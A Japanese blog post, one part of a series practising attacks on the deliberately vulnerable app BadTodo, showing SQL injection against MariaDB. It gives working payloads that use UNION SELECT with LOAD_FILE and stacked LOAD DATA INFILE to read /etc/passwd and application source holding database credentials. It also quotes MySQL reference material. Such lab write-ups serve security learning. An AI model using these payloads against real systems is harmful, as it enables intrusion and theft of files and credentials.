やられアプリ BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得

前回:やられアプリ BadTodo - 3.5 SQLインジェクション 情報の改ざん・追加・削除 - demandosigno

MariaDBのバージョンの表示

SELECT @@version;
' UNION SELECT null,null,@@version,null,null,null,null,null,null,null#

passwdファイルの表示

SELECT LOAD_FILE();
文字列関数 LOAD_FILE を使用してサーバ(コンテナ badtodo-db)の /etc/passwd を表示する。
' UNION SELECT null,null,LOAD_FILE('/etc/passwd'),null,null,null,null,null,null,null#

または LOAD DATAステートメントを使用し、todosテーブルのtodoカラムへpasswdの内容をロードします。
';LOAD DATA INFILE '/etc/passwd' INTO TABLE todos (todo)#

続けて書き込んだ内容を表示します。' OR owner=0#

重複を除く場合。
' OR (owner=0 AND userid='admin')#

検索窓での操作はユーザ www-data の権限で行われており、パスワードが保存されている /etc/shadow を見る権限はありません。

LOAD DATA INFILE文を実行するにはMariaDBのFILE権限を持つユーザでデータベースに接続している必要があります。
MySQL :: MySQL 8.0 リファレンスマニュアル :: 13.2.7 LOAD DATA ステートメント

システムファイルの取得

ログイン画面からログインするときの流れをBurpSuiteで追ってみると、logindo.php というファイルを読み込んでいます。

よって、passwdファイルと同様にLOAD_FILEで logindo.php を閲覧 → common.php へ、 と辿ることでMariaDBのログインIDとパスワードを確認することができる、と考えたのですが今回はApacheコンテナとDBコンテナが別だったためダメでした。
' UNION SELECT null,null,LOAD_FILE('/var/www/html/todo/logindo.php'),null,null,null,null,null,null,null#
(common.php上に次の記載があります。実際はマスクされていません)
$dbh = new PDO("mysql:host=$dbhost;dbname=todo", 'root', '******');
(logindo.phpのパスは https://todo.example.jp/phpinfo.php が閲覧できてしまうことや 他のエラー画面などから確認できます。これらも問題点の一つです。)

補足 MySQL のシステム変数 @@var_name

MySQL :: MySQL 5.6 リファレンスマニュアル :: 5.1.4 サーバーシステム変数
MySQL :: MySQL 5.6 リファレンスマニュアル :: 5.1.5 システム変数の使用

MySQL Server には、その構成方法を指示する多くのシステム変数が保持されています。
システム変数名と値を表示するには、SHOW VARIABLES ステートメントを使用します。

MariaDB [(none)]> SHOW VARIABLES;
+-------------------------+---------------------------------------------+
| Variable_name           | Value                                       |
+-------------------------+---------------------------------------------+
| alter_algorithm         | DEFAULT                                     |
~(中略)~
| version                 | 10.6.14-MariaDB-1:10.6.14+maria~ubu2004-log |
| version_comment         | mariadb.org binary distribution             |
| version_compile_machine | x86_64                                      |
| version_compile_os      | debian-linux-gnu                            |
| version_malloc_library  | system                                      |
| version_source_revision | c93754d45e5d9379e3e23d7ada1d5f21d2711f66    |
| version_ssl_library     | OpenSSL 1.1.1f  31 Mar 2020                 |
~(後略)~
+-------------------------+---------------------------------------------+
647 rows in set (0.004 sec)

MariaDB [(none)]> SELECT @@version;
+---------------------------------------------+
| @@version                                   |
+---------------------------------------------+
| 10.6.14-MariaDB-1:10.6.14+maria~ubu2004-log |
+---------------------------------------------+

補足 MySQL の関数と演算子

MySQL :: MySQL 5.6 リファレンスマニュアル :: 12 関数と演算子
MySQL :: MySQL 5.6 リファレンスマニュアル :: 12.5 文字列関数

SQL ステートメントのいくつかのポイント (SELECT ステートメントの ORDER BY または HAVING 句、SELECT、DELETE、または UPDATE ステートメントの WHERE 句、SET ステートメントなど) では、式を使用できます。
式は、リテラル値、カラム値、NULL、組み込み関数、ストアドファンクション、ユーザー定義関数、および演算子を使用して作成できます。

LOAD_FILE(file_name)
ファイルを読み取り、ファイルの内容を文字列として返します。この関数を使用するには、ファイルがサーバーホストに配置されている必要があり、ファイルへのフルパス名を指定し、FILE 権限を持つ必要があります。
ファイルはすべてのユーザーから読み取り可能で、max_allowed_packet バイトよりも小さなサイズである必要があります。
secure_file_priv システム変数が空でないディレクトリ名に設定されている場合は、そのディレクトリ内にロード対象のファイルが配置されている必要があります。
ファイルが存在しない場合、または上記の条件が満たされていないために、ファイルを読み取ることができない場合、この関数は NULL を返します。
character_set_filesystem システム変数では、リテラル文字列として指定されているファイル名の解釈が制御されます。

mysql> UPDATE t
    SET blob_col=LOAD_FILE('/tmp/picture')
    WHERE id=1;

MySQL SQL Injection Cheat Sheet | pentestmonkey

次回:やられアプリ BadTodo - 3.7 SQLインジェクション idパラメータに対して - demandosigno

/* -----codeの行番号----- */